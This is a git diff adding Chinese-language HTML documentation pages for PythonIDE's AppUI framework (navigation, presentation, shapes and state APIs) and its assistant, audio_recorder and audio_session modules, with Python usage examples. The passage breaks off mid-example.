TabView 外面只包一个全局 NavigationStack每个 Tab 里面放自己的 NavigationStack,避免标题和返回栈互相污染。
用“播放”或“下载”单独占一个 Tab,但又需要全局状态条。.tab_view_bottom_accessory(...) 放紧凑状态条,点击后用 .sheet(...) 打开完整面板。
隐藏返回按钮但没有替代路径。用 toolbar 放明确的返回、取消或关闭按钮。
ForEach 行没有稳定 keyForEach 传稳定键函数,避免列表刷新后导航状态错位。
ToolbarItem 使用旧 placement 名称。使用 AppUI 文档中的 navigation_bar_trailing
+

#相关文档

+
文档用途
导航与页面结构TabView、NavigationStack、NavigationPath 和 sheet 的完整模式。
呈现 APIsheet、alert、popover、confirmation dialog。
形状 APIToolbarItem 也在形状/工具栏页中保留了签名。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-ref-presentation/index.html b/docs/docs/pages/appui-ref-presentation/index.html new file mode 100644 index 0000000..562149f --- /dev/null +++ b/docs/docs/pages/appui-ref-presentation/index.html @@ -0,0 +1,499 @@ + + + + + + 呈现 API - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

呈现 API

+

alert、sheet、popover、confirmation dialog 和刷新动作。

+
+ +
+

本页覆盖弹窗、模态、确认框、菜单、刷新和滑动操作。页面跳转用 导航 API,控件样式和布局修饰符用 修饰符 API

+

#什么时候用

+
目标首选 API说明
简短提示.alert(...)单条消息、确认结果、错误提示。
危险操作确认.confirmation_dialog(...)删除、退出、清空等需要用户确认的动作。
局部任务流.sheet(...)选择器、编辑表单、短流程。
全屏任务.full_screen_cover(...)登录、拍摄、沉浸式流程。
iPad 气泡层.popover(...)从某个按钮展开的轻量内容。
长按菜单.context_menu(...)行内次要操作。
下拉刷新.refreshable(...)Refreshable列表重新加载数据。
行滑动操作.swipe_actions(...)SwipeActions删除、归档、置顶等列表行操作。
+

#最小正确示例

+
+
+ python +
+
+
import appui
+
+state = appui.State(
+    show_sheet=False,
+    show_alert=False,
+    show_confirm=False,
+    count=0,
+)
+
+
+def open_sheet():
+    state.show_sheet = True
+
+
+def close_sheet():
+    state.show_sheet = False
+
+
+def open_alert():
+    state.show_alert = True
+
+
+def close_alert():
+    state.show_alert = False
+
+
+def open_confirm():
+    state.show_confirm = True
+
+
+def close_confirm():
+    state.show_confirm = False
+
+
+def add_count():
+    state.count += 1
+
+
+def reset_count():
+    state.count = 0
+    state.show_confirm = False
+
+
+def sheet_content():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("Sheet", [
+                appui.Text(f"Count: {state.count}"),
+                appui.Button("+1", action=add_count),
+                appui.Button("Close", action=close_sheet),
+            ])
+        ]).navigation_title("Sheet")
+    )
+
+
+def body():
+    root = (
+        appui.Form([
+            appui.Section("Actions", [
+                appui.Button("Open sheet", action=open_sheet),
+                appui.Button("Show alert", action=open_alert),
+                appui.Button("Reset count", action=open_confirm)
+                    .foreground_color("systemRed"),
+            ])
+        ])
+        .navigation_title("Presentation")
+        .sheet(
+            is_presented=state.show_sheet,
+            content=sheet_content,
+            on_dismiss=close_sheet,
+            detents="medium_large",
+            drag_indicator="visible",
+        )
+        .alert(
+            "Notice",
+            message="Alert is visible.",
+            is_presented=state.show_alert,
+            on_dismiss=close_alert,
+        )
+        .confirmation_dialog(
+            "Reset count?",
+            is_presented=state.show_confirm,
+            message="This cannot be undone.",
+            actions=[
+                appui.Button("Reset", action=reset_count, role="destructive"),
+                appui.Button("Cancel", action=close_confirm),
+            ],
+            on_dismiss=close_confirm,
+        )
+    )
+
+    return appui.NavigationStack(root)
+
+
+appui.run(body, state=state)
+
+

#呈现组件

+

这些组件可以作为视图使用;大多数页面更常用对应的链式修饰符。

+
API签名分类
AlertAlert(title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[Sequence[View]] = None, isPresented: Optional[bool] = None)presentation
ConfirmationDialogConfirmationDialog(title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[Sequence[View]] = None, isPresented: Optional[bool] = None)presentation
PopoverPopover(is_presented: bool = False, content: Optional[View] = None, trigger: Optional[View] = None, isPresented: Optional[bool] = None)presentation
RefreshableRefreshable(on_refresh: Optional[Callable] = None, onRefresh: Optional[Callable] = None, content: Optional[ViewChild] = None)collection
SwipeActionsSwipeActions(content: Optional[View] = None, leading: Optional[Sequence[View]] = None, trailing: Optional[Sequence[View]] = None)collection
+

#呈现修饰符

+
API签名所属类型
.alert.alert(title: str, message: str = '', is_presented: bool = False, on_dismiss: Optional[Callable] = None, actions: Optional[Sequence["View"]] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> SelfView
.sheet.sheet(is_presented: bool = False, content: Optional[Union["View", Callable[[], "View"]]] = None, on_dismiss: Optional[Callable] = None, detents: Optional[str] = None, drag_indicator: Optional[str] = None, interactive_dismiss_disabled: bool = False, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None, dragIndicator: Optional[str] = None, interactiveDismissDisabled: Optional[bool] = None) -> SelfView
.full_screen_cover.full_screen_cover(is_presented: bool = False, content: Optional[Union["View", Callable[[], "View"]]] = None, on_dismiss: Optional[Callable] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> SelfView
.confirmation_dialog.confirmation_dialog(title: str, is_presented: bool = False, actions: Optional[Sequence["View"]] = None, message: str = '', on_dismiss: Optional[Callable] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> SelfView
.popover.popover(is_presented: bool = False, content: Optional[Union["View", Callable[[], "View"]]] = None, on_dismiss: Optional[Callable] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> SelfView
.context_menu.context_menu(content: Optional[Sequence["View"]] = None) -> SelfView
.searchable.searchable(text: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, placement: str = 'automatic', prompt: Optional[str] = None, on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None) -> SelfView
.swipe_actions.swipe_actions(edge: str = 'trailing', content: Optional[Sequence["View"]] = None, actions: Optional[Sequence["View"]] = None) -> SelfView
.refreshable.refreshable(action: Optional[Callable] = None) -> SelfView
.badge.badge(count: Any) -> SelfView
.inspector.inspector(is_presented: bool = False, content: Optional[Union["View", Callable[[], "View"]]] = None, on_dismiss: Optional[Callable] = None) -> SelfView
+

#列表行操作示例

+
+
+ python +
+
+
import appui
+
+state = appui.State(items=["Inbox", "Archive", "Later"], last="")
+
+
+def item_key(item):
+    return item
+
+
+def row_view(item):
+    def mark_done():
+        state.last = f"Done: {item}"
+
+    def remove_item():
+        state.items = [current for current in state.items if current != item]
+        state.last = f"Deleted: {item}"
+
+    return (
+        appui.Text(item)
+        .swipe_actions(actions=[
+            appui.Button("Done", action=mark_done),
+            appui.Button("Delete", action=remove_item, role="destructive"),
+        ])
+        .context_menu([
+            appui.Button("Mark done", action=mark_done),
+        ])
+    )
+
+
+def refresh():
+    state.last = "Refreshed"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section("Items", [
+                appui.ForEach(state.items, row_builder=row_view, key=item_key)
+            ]),
+            appui.Section("Status", [
+                appui.Text(state.last or "No action yet"),
+            ]),
+        ])
+        .navigation_title("Rows")
+        .refreshable(refresh)
+    )
+
+
+appui.run(body, state=state)
+
+

#与相邻 API 的区别

+
API不同点
.alert vs .confirmation_dialogalert 用于提示;confirmation dialog 用于让用户在多个操作里确认。
.sheet vs .full_screen_coversheet 适合短任务;full screen 适合必须暂时离开主界面的完整流程。
.popover vs .sheetpopover 更适合 iPad 上从按钮展开的小面板;iPhone 上可能按系统规则表现为 sheet。
.context_menu vs .swipe_actionscontext menu 是次要菜单;swipe actions 是列表行的高频快捷操作。
Refreshable vs .refreshable修饰符更常见;容器用于需要把刷新能力包成独立视图的场景。
+

#Presentation Engine 规则

+
  • 呈现修饰符必须始终挂在最终返回的根视图上,只切换 is_presented / show_* 字段。
  • 禁止 if state.show_sheet: root = root.sheet(...) 这种条件挂载。
  • content 传命名函数,例如 content=editor_sheet,不要 content=editor_sheet()
  • 规范全文见 Presentation Engine Spec
+

#PresentationCoordinator(档 4)

+

show_* 字段变化时,框架优先走原生 PresentationCoordinator,跳过 body() 与整树 JSON:

+
+
+ python +
+
+
state.show_sheet = True                 # 自动 coordinator
+appui.presentation_present("show_sheet") # 显式 API
+appui.presentation_dismiss("show_sheet")
+appui.dismiss_all()                   # 关闭所有已注册弹层
+
+

混合更新时,presentation 字段先走 coordinator,content 字段仍 rebuild:

+
+
+ python +
+
+
state.batch_update(show_sheet=True, token_draft="")  # sheet 走 coordinator,draft 走 rebuild
+
+

Diagnostics:presentation.coordinator = 快路径;presentation.coordinator_fallback = 回退 JSON。

+

#常见错误

+
错误正确做法
sheet 关闭后没有同步 Stateon_dismiss 中把 state.show_sheet = False
sheet 一闪而过,没有原生进出动画。始终挂载 .sheet(is_presented=...),不要条件包裹修饰符。
把复杂业务逻辑直接写在 body() 的按钮参数里。定义命名函数,按钮只传函数名。
alert / dialog 的 is_presented 一直为 True在确认、取消和 dismiss 回调中恢复为 False
列表行删除只改本地变量。修改 State 中的数据源,触发重新渲染。
用 sheet 做顶层页面导航。顶层页面结构用 NavigationStackTabView
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-ref-shapes/index.html b/docs/docs/pages/appui-ref-shapes/index.html new file mode 100644 index 0000000..250e195 --- /dev/null +++ b/docs/docs/pages/appui-ref-shapes/index.html @@ -0,0 +1,437 @@ + + + + + + 形状 API - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

形状 API

+

Rectangle、RoundedRectangle、Circle、Capsule、Ellipse、Color 和 ToolbarItem。

+
+ +
+

本页覆盖 RectangleRoundedRectangleCircleCapsuleEllipseColorToolbarItem。形状是普通 View,通常要配合 .frame(...) 才能得到稳定尺寸。

+

#什么时候用

+
目标首选 API说明
矩形背景或占位Rectangle基础块状形状。
卡片背景RoundedRectangle需要圆角但不想用 .background(...) 时。
圆形头像、圆点Circle宽高相同最稳定。
胶囊按钮背景Capsule两端半圆的条状背景。
椭圆Ellipse非等宽高的椭圆。
纯色块Color用作背景层或色块视图。
工具栏项ToolbarItem放到 .toolbar([...]) 里。
+

#形状公共方法

+
API签名所属类型
.fill.fill(color: ColorLike) -> Self_Shape
.stroke.stroke(color: ColorLike, line_width: float = 1, **kwargs: Any) -> Self_Shape
+
+
+ python +
+
+
import appui
+
+
+def body():
+    card = appui.ZStack([
+        appui.RoundedRectangle(corner_radius=14)
+            .fill("secondarySystemBackground"),
+        appui.RoundedRectangle(corner_radius=14)
+            .stroke("separator", line_width=1),
+        appui.Text("Shape Card").font("headline"),
+    ]).frame(height=120)
+
+    return appui.NavigationStack(
+        appui.VStack([card], spacing=16)
+        .padding()
+        .navigation_title("Shapes")
+    )
+
+
+appui.run(body)
+
+

#形状签名

+
API签名分类
RectangleRectangle()shape
RoundedRectangleRoundedRectangle(corner_radius: float = 10, cornerRadius: Optional[float] = None)shape
CircleCircle()shape
CapsuleCapsule()shape
EllipseEllipse()shape
ColorColor(value: Optional[ColorLike] = None, red: Optional[float] = None, green: Optional[float] = None, blue: Optional[float] = None, opacity: float = 1.0)shape
ToolbarItemToolbarItem(placement: str = 'automatic', content: Optional[View] = None, role: Optional[str] = None)presentation
+

#颜色

+

fillstrokeforeground_colorbackgroundColor 都接受 AppUI 的颜色表达:

+
表达示例
系统语义色"systemBlue""label""secondaryLabel""systemBackground""separator"
十六进制"#3366CC"
RGB / RGBA 元组(0.2, 0.4, 0.8)(0.2, 0.4, 0.8, 0.7)
整数0x3366CC
+
+
+ python +
+
+
import appui
+
+
+def body():
+    return appui.NavigationStack(
+        appui.VStack([
+            appui.Color(value="systemIndigo").frame(height=28),
+            appui.Color(red=0.9, green=0.2, blue=0.2, opacity=0.5).frame(height=28),
+            appui.Circle().fill("#3366CC").frame(width=56, height=56),
+            appui.Capsule().stroke("systemGreen", line_width=3).frame(width=160, height=44),
+            appui.Ellipse().fill("systemOrange").frame(width=120, height=72),
+        ], spacing=12)
+        .padding()
+        .navigation_title("Color")
+    )
+
+
+appui.run(body)
+
+

#ToolbarItem

+

ToolbarItem 必须放在 .toolbar([...]) 中。placement 使用 AppUI 的 snake_case 名称:"automatic""navigation_bar_leading""navigation_bar_trailing""bottom_bar""principal""keyboard"

+
+
+ python +
+
+
import appui
+
+
+def close_page():
+    appui.dismiss()
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Text("Toolbar content")
+        .padding()
+        .navigation_title("Toolbar")
+        .toolbar([
+            appui.ToolbarItem(
+                placement="navigation_bar_trailing",
+                content=appui.Button(
+                    action=close_page,
+                    content=appui.Label("Done", system_image="checkmark"),
+                ),
+                role="close",
+            )
+        ])
+    )
+
+
+appui.run(body, presentation="sheet")
+
+

#与 Path / Canvas 的边界

+
API不同点
Rectangle / Circle 等形状原生常见形状,适合背景、边框、圆点、胶囊。
Path自定义矢量路径,适合不规则形状、曲线和弧。
Canvas命令式绘图表面,适合混合多种图元、文字和渐变。
.background(...)更适合普通卡片背景;不需要额外 ZStack。
+
+
+ python +
+
+
import appui
+
+
+def body():
+    commands = [
+        {"move": [50, 0]},
+        {"line": [100, 90]},
+        {"line": [0, 90]},
+        {"close": True},
+    ]
+
+    return appui.NavigationStack(
+        appui.VStack([
+            appui.RoundedRectangle(corner_radius=8)
+                .fill("systemBlue")
+                .frame(width=120, height=64),
+            appui.Path(commands=commands, fill="systemOrange", stroke="label", line_width=2)
+                .frame(width=120, height=100),
+        ], spacing=16)
+        .padding()
+        .navigation_title("Shape vs Path")
+    )
+
+
+appui.run(body)
+
+

#常见错误

+
错误正确做法
形状不设 .frame(...),显示尺寸不可控。给形状明确宽高或高度。
圆形宽高不一致。Circle().frame(width: height:) 使用相同宽高;非圆用 Ellipse
卡片背景都用 ZStack + RoundedRectangle普通卡片直接用 .background(..., corner_radius=...) 更简单。
ToolbarItem 使用旧 placement 名称。使用 "navigation_bar_trailing" 等 snake_case 值。
Color(...) 包语义色再传给 .fill(...).fill("systemBlue") 直接传颜色表达即可。
+

#相关文档

+
文档用途
图表与画布 APICanvas、DrawingContext、Path。
修饰符 APIbackground、overlay、clip_shape、shadow、toolbar。
深色模式指南语义颜色和深浅色适配。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-ref-state/index.html b/docs/docs/pages/appui-ref-state/index.html new file mode 100644 index 0000000..8758f7d --- /dev/null +++ b/docs/docs/pages/appui-ref-state/index.html @@ -0,0 +1,402 @@ + + + + + + 状态 API - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

状态 API

+

State、ReactiveState、NavigationPath、Timer 和 Ref。

+
+ +
+

本页查 StatePersistentStateReactiveStateNavigationPathTimerRefPropObservableListObservableDict 的签名和边界。状态写法的完整解释见 状态管理

+

#什么时候用

+
目标API
普通表单、按钮、列表筛选State
明确指定持久化状态PersistentState
高频字段快路径ReactiveState
程序化导航栈NavigationPath
定时执行回调Timer
保存不触发 UI 刷新的句柄Ref
自定义实时属性Prop
观察 list / dict 局部变更ObservableList / ObservableDict
+

#State 示例

+
+
+ python +
+
+
import appui
+
+state = appui.State(count=0, saved=False)
+save_count = appui.Ref(0)
+
+
+def increment():
+    state.batch_update(count=state.count + 1, saved=False)
+
+
+def save():
+    save_count.current += 1
+    state.saved = True
+
+
+def body():
+    status = "Saved" if state.saved else "Editing"
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("State", [
+                appui.LabeledContent("Count", value=str(state.count)),
+                appui.LabeledContent("Status", value=status),
+                appui.LabeledContent("Save count", value=str(save_count.current)),
+                appui.Button("+1", action=increment),
+                appui.Button("Save", action=save).button_style("bordered_prominent"),
+            ])
+        ]).navigation_title("State")
+    )
+
+
+appui.run(body, state=state)
+
+

#Timer 示例

+
+
+ python +
+
+
import appui
+
+state = appui.State(seconds=0, running=False)
+
+
+def tick():
+    if state.running:
+        state.seconds += 1
+
+
+timer = appui.Timer(interval=1.0, repeats=True, action=tick)
+
+
+def start():
+    state.running = True
+    timer.start()
+
+
+def stop():
+    state.running = False
+    timer.stop()
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("Timer", [
+                appui.LabeledContent("Seconds", value=str(state.seconds)),
+                appui.HStack([
+                    appui.Button("Start", action=start).button_style("bordered_prominent"),
+                    appui.Button("Stop", action=stop).button_style("bordered"),
+                ], spacing=12),
+            ])
+        ]).navigation_title("Timer")
+    )
+
+
+appui.run(body, state=state)
+
+

#状态签名

+
API签名分类
StateState(persist: Optional[Union[bool, Sequence[str]]] = None, persist_key: Optional[str] = None, transient: Optional[Sequence[str]] = None, debounce: float = 0.3, **kwargs: Any)公开类型
PersistentStatePersistentState(persist_key: Optional[str] = None, transient: Optional[Sequence[str]] = None, debounce: float = 0.3, **kwargs: Any)公开类型
ReactiveStateReactiveState(**kwargs: Any)公开类型
NavigationPathNavigationPath()公开类型
TimerTimer(interval: float = 1.0, repeats: bool = True, action: Optional[Callable[[], None]] = None)公开类型
RefRef(initial: Any = None)公开类型
PropProp(prop_id: int, val_type: str = 'auto', default: Any = None, attr: Optional[str] = None)公开类型
ObservableListObservableList(data: Iterable[Any], notify: Callable[[], None])公开类型
ObservableDictObservableDict(data: Mapping[Any, Any], notify: Callable[[], None])公开类型
+

#主要方法

+
API方法签名所属类型
Statebatch_updatebatch_update(**kwargs: Any) -> NoneState
Stateto_dictto_dict() -> Dict[str, Any]State
Stategetget(key: str, default: Any = None) -> AnyState
Stateflush_persistedflush_persisted() -> boolState
Stateclear_persistedclear_persisted() -> boolState
ReactiveStatebatch_updatebatch_update(**kwargs: Any) -> NoneReactiveState
ReactiveStateto_dictto_dict() -> Dict[str, Any]ReactiveState
ReactiveStategetget(key: str, default: Any = None) -> AnyReactiveState
ReactiveStatebindbind(field_name: str, *, parse: Optional[Callable[[Any], Any]] = None, format: Optional[Callable[[Any], Any]] = None, validate: Optional[Callable[[Any], bool]] = None) -> Dict[str, Any]ReactiveState
ReactiveStatebind_handlesbind_handles(**bindings: int) -> NoneReactiveState
NavigationPathappendappend(view_or_value: Union["View", str, int, Dict[str, Any]]) -> NoneNavigationPath
NavigationPathpoppop(count: int = 1) -> NoneNavigationPath
NavigationPathpop_to_rootpop_to_root() -> NoneNavigationPath
NavigationPathreplacereplace(items: Sequence[Any]) -> NoneNavigationPath
Timerstartstart() -> NoneTimer
Timerstopstop() -> NoneTimer
+

#相邻 API 区别

+
API用法边界
State vs ReactiveState普通页面用 State;高频字段才用 ReactiveState
State(persist=...) vs PersistentState简单保存可用 State(persist=True);需要固定持久化 key 或更清晰语义时用 PersistentState
Ref vs State需要显示到 UI 的值用 State;句柄、缓存、连接对象用 Ref
ObservableList vs 重新赋值频繁局部增删改可依赖可观察容器;简单场景重新赋值更直观。
Timer vs auto_refresh正式页面用 Timer;临时 demo 可用 auto_refresh
NavigationPath vs NavigationLink固定行详情用 NavigationLink;程序化跳转用 NavigationPath
+

#常见错误

+
错误后果修正
把 UI 要显示的值放进 Ref改值后界面不刷新放进 State
body() 里创建 Timer每次重建都可能新建计时器模块级创建。
先创建没有回调的 Timer,再事后赋 action容易漏掉回调初始化时传 action=tick
连续写多个字段产生多次重建和中间状态使用 batch_update
列表按过滤后的下标修改搜索后操作错行数据项保留稳定 id。
+

#相关文档

+
文档用途
状态管理状态模式、computed/effect、Timer。
导航与页面结构NavigationPathNavigationLink
性能与实时界面什么时候使用 ReactiveState
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/assistant-module/index.html b/docs/docs/pages/assistant-module/index.html new file mode 100644 index 0000000..9f77b89 --- /dev/null +++ b/docs/docs/pages/assistant-module/index.html @@ -0,0 +1,423 @@ + + + + + + assistant - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

assistant

+

设备端助手与内置设备工具(iOS 26+)。

+
+ +
+

端侧助手(Foundation Models + 内置设备工具,iOS 26+):自然语言任务、可选工具调用。

+
边界:设备端推理,内置工具由系统提供(见 list_tools())。不含 PythonIDE 云端 Agent;复杂多步自动化请用应用内 Agent 功能。
+

#模块概览

+
说明
导入import assistant
适合做什么「帮我查天气」「总结这段文字」等带工具的自然语言任务
调用时机run() 放在按钮回调;可能较慢
推荐顺序is_available()list_tools()run(prompt, tools=...)
返回{"text": str, "tool_calls": list}
+
+

#快速开始

+
+
+ python +
+
+
import assistant
+
+if not assistant.is_available():
+    print("Assistant 不可用")
+else:
+    print("内置工具:", assistant.list_tools())
+    result = assistant.run("用一句话介绍今天的日期")
+    print(result["text"])
+    print(result.get("tool_calls", []))
+
+

指定工具子集:

+
+
+ python +
+
+
import assistant
+
+result = assistant.run(
+    "查询当前位置附近的天气",
+    tools=["location", "weather"],
+)
+print(result)
+
+
+

#AppUI 示例

+
+
+ python +
+
+
import appui
+import assistant
+
+state = appui.State(
+    available="—",
+    tools="—",
+    prompt="今天适合出门跑步吗?",
+    reply="—",
+)
+
+
+def refresh_meta():
+    state.available = "是" if assistant.is_available() else "否"
+    names = assistant.list_tools() or []
+    state.tools = str(len(names)) + " 个内置工具"
+
+
+def run_task():
+    refresh_meta()
+    if state.available != "是":
+        state.reply = "Assistant 不可用(需 iOS 26+)"
+        return
+
+    try:
+        result = assistant.run(state.prompt)
+        calls = result.get("tool_calls", [])
+        suffix = f"(调用 {len(calls)} 个工具)" if calls else ""
+        state.reply = (result.get("text") or "—") + suffix
+    except assistant.AssistantError as exc:
+        state.reply = str(exc)
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("任务", [
+                appui.TextEditor(text=state.prompt).frame(min_height=80),
+                appui.Button("运行助手", action=run_task)
+                .button_style("bordered_prominent"),
+            ]),
+            appui.Section("状态", [
+                appui.LabeledContent("可用", value=state.available),
+                appui.LabeledContent("工具", value=state.tools),
+                appui.Text(state.reply).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("端侧助手")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
is_available()助手是否可用 → bool
list_tools()内置工具描述列表
run(prompt, tools=None)执行任务 → dict
AssistantError操作失败异常
+

#run

+

run(prompt, tools=None) — 发送自然语言任务。

+
字段说明
text助手最终文本回复
tool_calls工具调用记录列表
+
+
+ python +
+
+
result = assistant.run("总结这段话", tools=None)
+print(result["text"])
+
+

tools 为工具名字符串列表时,限制可用内置工具范围。

+
+

#常见错误

+
错误写法后果修正
foundation_models 混用场景能力重叠纯文本用 foundation_models;要工具用 assistant
body()run每次刷新重复推理放进按钮回调
低版本 iOSis_available() 为 False降级为规则逻辑或提示用户
期望执行任意 Python 代码超出能力工具仅限系统内置集合
+
+

#相关文档

+
文档用途
foundation_models纯文本生成/摘要
weather直接调用天气 API
location直接调用定位 API
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/audio-recorder-module/index.html b/docs/docs/pages/audio-recorder-module/index.html new file mode 100644 index 0000000..291349e --- /dev/null +++ b/docs/docs/pages/audio-recorder-module/index.html @@ -0,0 +1,463 @@ + + + + + + audio_recorder - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

audio_recorder

+

麦克风录音、暂停继续和电平监测。

+
+ +
+

麦克风录音:把音频保存为 .m4a.caf.wav 文件。

+
边界:输出文件保存在 App Documents 目录。需要麦克风系统授权;统一 permissionrequest("microphone") 暂不支持弹窗,首次录音时系统可能提示,或在设置中开启。录音只能放在用户操作回调里,不要在 body() 中调用。
+

#模块概览

+
说明
导入import audio_recorder
适合做什么语音备忘、口述笔记、采集音频片段
调用时机start() / stop() 放在按钮回调
推荐顺序start() → 轮询 status()stop() 拿文件信息
有状态支持 pause() / resume() / cancel() 丢弃半成品
+
+

#快速开始

+

下面脚本开始录音、等待几秒后停止并打印文件信息:

+
+
+ python +
+
+
import time
+import audio_recorder
+
+try:
+    path = audio_recorder.start()
+    print("录音中:", path)
+    time.sleep(3)
+    info = audio_recorder.stop()
+    if info:
+        print("已保存:", info["path"])
+        print("时长:", info["duration"], "秒")
+        print("大小:", info["size"], "字节")
+except audio_recorder.AudioRecorderError as exc:
+    print("录音失败:", exc, f"code={exc.code}")
+
+
+

#AppUI 示例

+

开始/停止放在按钮回调;用 Timer 轮询电平与时长。

+
+
+ python +
+
+
import appui
+import audio_recorder
+
+state = appui.State(
+    recording=False,
+    path="",
+    level=0.0,
+    seconds=0.0,
+    status="点击开始录音",
+)
+
+
+def tick():
+    if not state.recording:
+        return
+    st = audio_recorder.status()
+    state.level = float(st.get("average_power", 0.0))
+    state.seconds = float(st.get("duration", 0.0))
+
+
+poll_timer = appui.Timer(interval=0.1, repeats=True, action=tick)
+
+
+def toggle_recording():
+    if state.recording:
+        poll_timer.stop()
+        info = audio_recorder.stop() or {}
+        state.batch_update(
+            recording=False,
+            path=info.get("path", ""),
+            status=f"已保存 · {info.get('duration', 0):.1f}s",
+        )
+        return
+
+    try:
+        path = audio_recorder.start()
+        state.batch_update(
+            recording=True,
+            path=path or "",
+            status="录音中…",
+        )
+        poll_timer.start()
+    except audio_recorder.AudioRecorderError as exc:
+        state.status = f"无法开始: {exc}(请检查麦克风权限)"
+
+
+def cancel_recording():
+    if not state.recording:
+        return
+    poll_timer.stop()
+    audio_recorder.cancel()
+    state.batch_update(
+        recording=False,
+        path="",
+        seconds=0.0,
+        status="已取消并删除临时文件",
+    )
+
+
+def body():
+    label = "停止录音" if state.recording else "开始录音"
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("录音", [
+                appui.LabeledContent("状态", value=state.status),
+                appui.LabeledContent(
+                    "电平",
+                    value=f"{state.seconds:.1f}s · {state.level:.0f} dB",
+                ),
+                appui.Text(state.path).font("caption").foreground_color("secondaryLabel"),
+            ]),
+            appui.Section("操作", [
+                appui.Button(label, action=toggle_recording)
+                .button_style("bordered_prominent"),
+                appui.Button("取消录音", action=cancel_recording, role="destructive"),
+            ], footer="真机测试最可靠;需麦克风权限。"),
+        ]).navigation_title("录音")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
start(path, format, ...)开始录音 → 文件路径
stop()停止 → {path, duration, size, format}
pause() / resume()暂停 / 继续
cancel()停止并删除半成品
status()状态与电平
is_recording() / duration()是否录音中 / 已录秒数
metering(){average, peak} 电平(dBFS)
+

#录音控制

+

start(path=None, format="m4a", quality="high", sample_rate=44100, channels=1)

+
+
+ python +
+
+
path = audio_recorder.start()
+path = audio_recorder.start(format="wav", quality="high", channels=1)
+
+
参数说明
formatm4a(默认 AAC)/ caf / wav
qualitylow / medium / high / max
sample_rate4410048000
channels1 单声道 / 2 立体声
+

stop() — 返回文件信息字典;未录音时返回 None

+

cancel() — 丢弃半成品,不返回结果。

+

#状态与电平

+

status() 返回:

+
字段说明
recording / paused是否录音 / 暂停
duration已录秒数
average_power / peak_power电平 dBFS(0 最大,负值更安静)
path当前文件路径
+
+
+ python +
+
+
st = audio_recorder.status()
+meter = audio_recorder.metering()
+
+

轮询建议 ≥ 0.1s 间隔(如 appui.Timer)。

+

#异常

+

失败时抛出 AudioRecorderError,常见 code

+
code含义
already_recording重复 start()
start_failed无法启动(含权限或会话占用)
+
+

#常见错误

+
错误写法后果修正
body()start()刷新时重复录音放进按钮回调
permission.request() 当 bool判断错误且暂不支持try/except 处理 start()
高频轮询 status()CPU 浪费Timer(interval=0.1)
放弃录音不 cancel()留下垃圾文件调用 cancel()
+
+

#相关文档

+
文档用途
speech_recognition录音文件转文字
sound播放本地音频
permission权限状态查询
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/audio-session-module/index.html b/docs/docs/pages/audio-session-module/index.html new file mode 100644 index 0000000..55073a2 --- /dev/null +++ b/docs/docs/pages/audio-session-module/index.html @@ -0,0 +1,458 @@ + + + + + + audio_session - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

audio_session

+

配置共享 AVAudioSession。

+
+ +
+

配置共享 AVAudioSession:设置音频类别、激活会话、查询当前输入/输出路由。

+
边界:影响全 App 的音频行为,通常在播放/录音之前配置。与 soundavplayeraudio_recorder 配合使用。不需要单独权限,但会改变其他模块的音频路由;配置放在按钮回调或启动流程,不要在 body() 里反复切换。
+

#模块概览

+
说明
导入import audio_session
适合做什么后台播放、录音+外放、语音通话模式、查耳机/扬声器路由
调用时机播放/录音前 set_categoryset_active(True)
推荐顺序设类别 → 激活 → 使用音频模块 → 可选 set_active(False)
全局影响改类别会影响其他正在播放的音频
+
+

#快速开始

+

下面脚本切换到播放模式并查看当前路由:

+
+
+ python +
+
+
import audio_session
+
+try:
+    audio_session.set_category("playback")
+    audio_session.set_active(True)
+    route = audio_session.current_route()
+    print("输出:", route.get("outputs"))
+    print("输入:", route.get("inputs"))
+except audio_session.AudioSessionError as exc:
+    print("配置失败:", exc, f"code={exc.code}")
+
+

录音场景常用 playAndRecord + defaultToSpeaker

+
+
+ python +
+
+
import audio_session
+
+audio_session.set_category(
+    "playAndRecord",
+    mode="voiceChat",
